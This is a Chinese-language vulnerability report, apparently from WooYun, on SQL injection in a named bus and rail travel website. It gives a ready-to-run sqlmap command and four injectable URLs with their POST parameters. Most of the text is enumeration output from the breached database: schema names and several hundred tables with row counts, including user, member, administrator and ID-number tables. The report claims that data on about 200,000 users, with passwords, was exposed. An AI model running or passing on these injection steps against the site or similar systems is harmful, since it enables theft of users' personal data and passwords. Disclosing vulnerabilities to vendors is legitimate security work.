客运安全之客运站多处SQL注入涉及全站数据(几十万用户数据含密码)

1.sqlmap.py -u "http://m.keyunzhan.com/zhandaozhan_search.php" --data="startstate=*"

2.http://m.keyunzhan.com/index.php?module=Mobile&action=Index&lanmu=tianqi

post：

city=*

3.http://m.keyunzhan.com/huoche/find.php

post:

goDate=2016-03-04&checi=*

4.http://m.keyunzhan.com/huoche/hcz.php

post:

goDate=2016-03-04&=CasterJs&station=*

available databases [5]:

[*] db_keyunzhan

[*] db_keyunzhan_bak

[*] db_keyunzhan_user

[*] information_schema

[*] test

Database: db_keyunzhan

+-------------------------------+---------+

| Table | Entries |

+-------------------------------+---------+

| wde_organ | 7117048 |

| bus_search | 2774800 |

| db_url_cache | 2529104 |

| wde_street | 1757243 |

| my_bus_zhanzhan | 1730753 |

| weizhang_chepaijixiong_search | 1714857 |

| wde_search_counter | 915713 |

| my_hc_zz_msg | 875207 |

| hc_train_search_records | 511180 |

| zhanzhan_sreach_record | 442544 |

| tianqi_pmdata | 436368 |

| hc_stationtostation | 409458 |

| wde_news | 395520 |

| hc_train_search_cache | 394106 |

| bus_station | 385513 |

| bus_station1 | 367773 |

| my_bus_station | 281660 |

| wenda | 247166 |

| wde_hotel_images | 245063 |

| wc_zipcode | 187287 |

| kyz_tags | 171017 |

| hc_pdc_zhanzhan | 165972 |

| hc_pdc_zhanzhan_bak | 165972 |

| wde_youdi_info | 155628 |

| hc_pdc_bus_station | 142352 |

| wc_hot_ip | 127495 |

| ky_user | 103840 |

| hc_news | 87491 |

| travel_xianlu | 83261 |

| changtu | 81769 |

| ky_lucheng | 77647 |

| ky_wenda | 76396 |

| ky_licheng | 73272 |

| tianqi_ls | 72998 |

| dailyrecord | 72675 |

| user_member | 70789 |

| ky_errorcorrecting | 69657 |

| ky_members | 69556 |

| hc_qiche_zhanzhan | 68380 |

| hc_train_info | 63795 |

| wde_hotel_rooms | 62646 |

| hc_tickets | 54688 |

| wde_article | 52170 |

| chebiao_picture | 47834 |

| jiudian_jingdiancity | 41267 |

| bus_bus | 41001 |

| changtu_area | 40779 |

| my_bus_line | 38981 |

| hc_ip_lib | 35578 |

| ky_wenda_answer | 35344 |

| ky_zijiayou_citytocity | 35242 |

| hc_jingdian_type_relate | 34009 |

| changtu_area_cc | 33645 |

| ky_yellowpage | 32525 |

| wenda_answer | 31515 |

| wde_feedback | 28755 |

| bus_news | 27889 |

| hc_jingdian_img | 26546 |

| wde_hotel_martk | 23437 |

| hc_jingdian | 22364 |

| hc_jingdian_test | 22350 |

| travel_gonglue | 21495 |

| chunyun_news | 21279 |

| bus_station_chong | 18817 |

| fc_techan | 18523 |

| hc_jingdian_info | 17918 |

| wde_jpsearch_counter | 17726 |

| jiudian_fj | 17034 |

| hc_hot_checi | 15701 |

| wc_hot_shenfenzheng | 15016 |

| hc_pdc_bus_line | 14622 |

| airzc | 14576 |

| wde_hotel_hotels | 13700 |

| wde_changtu_jiucuo | 13199 |

| area_to | 11861 |

| travel_jingdian_guowai | 11384 |

| hc_train | 10024 |

| wde_hotel_traffic | 9684 |

| wde_stations | 9297 |

| hc_pdc_checi | 9192 |

| travel_youji | 8782 |

| changtu_area_temp | 8420 |

| ky_jiemeng | 8257 |

| taxi_news | 8187 |

| duanwu_news | 7917 |

| wde_hotel_location | 7903 |

| tianqibaike | 7321 |

| ky_xingzuo | 7224 |

| my_hc_checi | 7013 |

| ky_jiemeng_hot | 7012 |

| jichang_hangkong_tupian | 6880 |

| wde_hotel_surround | 6647 |

| user_jifen_log | 6634 |

| hc_checi | 6584 |

| jipiao_kx_shoupiaodian | 5819 |

| hotelcitycode | 5687 |

| wde_hotel_tmporderinfo | 5396 |

| gt_zixun | 4980 |

| ky_jiucuo | 4894 |

| wde_ticket_center | 4863 |

| dite_news | 4601 |

| fc_xiaochi | 4539 |

| wc_sfz | 4426 |

| travel_lvxingshe | 4147 |

| weather_wcitys | 4035 |

| hc_train_station | 3864 |

| ky_fangpiao | 3644 |

| hc_yushouqi | 3492 |

| db_location | 3377 |

| `24jieqi_news` | 3314 |

| wde_area | 3291 |

| hc_areas | 3289 |

| location | 3287 |

| `area-c` | 3286 |

| bus_wenda_towenba | 3284 |

| usererr | 3225 |

| ky_zijiayou_cityinfo | 3084 |

| hc_jingdian_location_records | 3063 |

| hc_train2 | 3000 |

| travel_xianlu_linshibeifen | 2830 |

| `bus_news-del` | 2602 |

| tianqi_lishi | 2583 |

| `12306_news` | 2455 |

| hc_pdc_station | 2438 |

| hc_pdc_station_bak | 2438 |

| area | 2391 |

| travel_search_count | 2322 |

| tianqi_day | 2250 |

| tianqi_day_guoji | 2201 |

| bendi_changtu | 2154 |

| hc_weather | 2074 |

| wuyi_news | 1995 |

| dite_station | 1873 |

| bus_area | 1803 |

| changtu_search | 1748 |

| ky_zuche | 1712 |

| dite_station_relate | 1686 |

| qingming_news | 1587 |

| hc_tickets_tel | 1358 |

| hc_pdc_bus_zhanzhan | 1323 |

| jichang_guowai | 1278 |

| chebiao_picture_type | 1252 |

| wc_sfz_name | 1218 |

| b12306_wenda_answer | 1177 |

| weizhang_daima | 1112 |

| hc_search | 973 |

| b12306_wenda | 937 |

| jiudian_city | 906 |

| jiudian_city_jingdian | 906 |

| ky_xingzuo_cx | 864 |

| wde_links | 861 |

| hc_qiche_city | 785 |

| jiudian_dibiaocity | 711 |

| hc_youting_zixun | 690 |

| taxi_compay | 658 |

| ky_zhuanti | 650 |

| lundu | 632 |

| wde_hotel_city | 596 |

| hc_station_search_records | 594 |

| ky_members_pc | 568 |

| wde_news_tuijian | 550 |

| hc_pdc_bus_city | 453 |

| cheguansuo | 447 |

| db_pinglun | 447 |

| bus_city | 441 |

| kuaidi_city | 437 |

| visa | 408 |

| fc_techan_city | 372 |

| fc_xiaochi_city | 372 |

| weizhang_area | 368 |

| chepai | 361 |

| taxi | 340 |

| guowai_area | 325 |

| lundu_matou | 321 |

| hc_youting | 320 |

| airhb | 316 |

| h7n9_news | 297 |

| bus_wenda_answer_towenba | 271 |

| ky_jichang_bus | 252 |

| wde_stations_error_correction | 234 |

| aircity | 230 |

| trave_jingdian_guowai_area | 227 |

| wde_hotel_orderinfo | 226 |

| ky_jieban_fabu | 221 |

| jipiao_city | 219 |

| wde_international_post | 213 |

| weizhang | 212 |

| ky_wenquan | 203 |

| jichang_area | 189 |

| jichang_jieshao | 188 |

| countrys | 180 |

| hc_jingdian_img_type | 180 |

| mg_airport | 178 |

| wde_members | 170 |

| wde_members_detail | 170 |

| visa_area_diqu | 165 |

| wde_tickets | 145 |

| db_admin_access | 135 |

| chebiao | 123 |

| `24jieqi_type` | 121 |

| travel_jingdian_hottype | 118 |

| hc_train_price | 113 |

| db_admin_node | 112 |

| jiudian_jichang | 110 |

| wde_youdi_company | 108 |

| bus_feedback | 107 |

| lundu_chuan | 101 |

| dite | 96 |

| wde_hotel_union | 87 |

| hc_train_station_list | 83 |

| hc_jingdian_type | 82 |

| ky_jichang | 82 |

| gt_type | 81 |

| bus_jichang_city | 80 |

| airco | 77 |

| tianqi_pmarea | 76 |

| ky_xingzuo_yunshi | 72 |

| ky_weibo | 69 |

| fc_diqujieshao | 68 |

| bus_bus_chong | 64 |

| traffic_jieguo | 64 |

| lundu_area | 61 |

| cruise | 54 |

| wde_travelsearch_counter | 53 |

| hc_speed | 50 |

| wde_link_type | 50 |

| dite_wenda_towenba | 46 |

| db_zhuanti_h7n9 | 39 |

| qc_dingpiao | 38 |

| jipiao_gongshi | 37 |

| hc_youting_type | 33 |

| abbreviation | 31 |

| hc_ditie_city | 31 |

| airnotes | 30 |

| duanwu_type | 29 |

| hc_search_piaojia | 29 |

| wde_news_type | 29 |

| bus_province | 28 |

| wc_sfz_name23 | 28 |

| travel_youji_toupiao | 27 |

| hc_tickets_message | 26 |

| jichang_hangkonggongsi | 25 |

| user_pinglun | 25 |

| `24jieqi` | 24 |

| traffic | 22 |

| db_admin_role_user | 15 |

| chebiao_new | 14 |

| dingdan_content | 14 |

| hc_zhuanti_type | 14 |

| hc_jingdian_chong | 13 |

| traffic_keywords | 13 |

| bus_links_category | 12 |

| db_administrator | 12 |

| ky_xingzuo_detail | 12 |

| chunyun_type | 11 |

| h7n9_type | 10 |

| ky_wenda_type | 10 |

| travel_zhuti_category | 10 |

| user_ip | 10 |

| chebiao_country | 9 |

| jipiao_remenxianlu | 9 |

| user_youhui | 9 |

| qingming_type | 8 |

| hc_news_type | 7 |

| search_counter | 7 |

| wuyi_type | 7 |

| traffic_bus | 6 |

| `12306_type` | 5 |

| db_admin_role | 4 |

| wde_members_groups | 4 |

| bus_members | 3 |

| bus_members_detail | 3 |

| elhotel | 3 |

| traffic_map | 3 |

| bus_members_groups | 2 |

| db_user | 2 |

| dingdan_user | 2 |

| dite_wenda_answer_towenba | 2 |

| hc_pdc_agent | 2 |

| ky_auto_zhuanti_news | 2 |

| ky_auto_zhuanti_type | 2 |

| bus_links | 1 |

| bus_news_type | 1 |

| lundu_jiucuo | 1 |

| user_myshoucang | 1 |

+-------------------------------+---------+

二十多万的用户数据了

@@

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)